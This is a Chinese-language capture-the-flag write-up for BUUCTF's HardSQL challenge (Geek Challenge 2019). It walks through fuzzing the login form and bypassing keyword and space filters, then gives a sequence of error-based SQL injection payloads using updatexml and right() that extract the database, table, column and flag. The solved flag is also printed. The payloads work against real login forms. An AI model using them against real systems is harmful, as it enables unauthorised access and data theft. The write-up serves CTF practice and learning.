BUUCTF之HardSQL[极客大挑战 2019]

打开连接

BUUCTF之HardSQL[极客大挑战 2019]_第1张图片

burpsuit抓包,跑一下fuzz

BUUCTF之HardSQL[极客大挑战 2019]_第2张图片 

等fuzz跑完

 BUUCTF之HardSQL[极客大挑战 2019]_第3张图片

发现长度为736的都被过滤掉了,用户名输入1'or'1'#

BUUCTF之HardSQL[极客大挑战 2019]_第4张图片

登入成功,说明闭合号为单引号

BUUCTF之HardSQL[极客大挑战 2019]_第5张图片 

根据上面的fuzz,union联合注入被过掉了,=布尔盲注也被过滤掉了,发现报错盲注的关键字没被过滤掉,被过滤掉的空格可以用

BUUCTF之HardSQL[极客大挑战 2019]_第6张图片

 这些代替,

BUUCTF之HardSQL[极客大挑战 2019]_第7张图片

 尝试登入

BUUCTF之HardSQL[极客大挑战 2019]_第8张图片

发现错误,应该是ascii码没有转化成相应的字符导致的,但是我们还能用括号代替空格,先简单地看一下数据库名

1'or(updatexml(0,concat(0x5e,database()),0))#

BUUCTF之HardSQL[极客大挑战 2019]_第9张图片

再看一下表名,这里=可以用like代替

1'or(updatexml(0,concat(0x5e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),0))#

BUUCTF之HardSQL[极客大挑战 2019]_第10张图片 

接着爆字段名

1'or(updatexml(0,concat(0x5e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),0))#

 BUUCTF之HardSQL[极客大挑战 2019]_第11张图片

接着查看值

1'or(updatexml(0,concat(0x5e,(select(group_concat(password))from(H4rDsq1))),0))#

BUUCTF之HardSQL[极客大挑战 2019]_第12张图片

 因为报错只能回显32位字符串,这里只回显了一部分的flag,接着用截断函数right查看身下的部分 

1'or(updatexml(0,concat(0x5e,right((select(group_concat(password))from(H4rDsq1)),31)),0))#

BUUCTF之HardSQL[极客大挑战 2019]_第13张图片 

拼接起来就拿到flag了

flag{c1c437c7-b54b-43fc-8ad2-324df886c2a9}

 

你可能感兴趣的:(BUUCTF之WEB,CTF)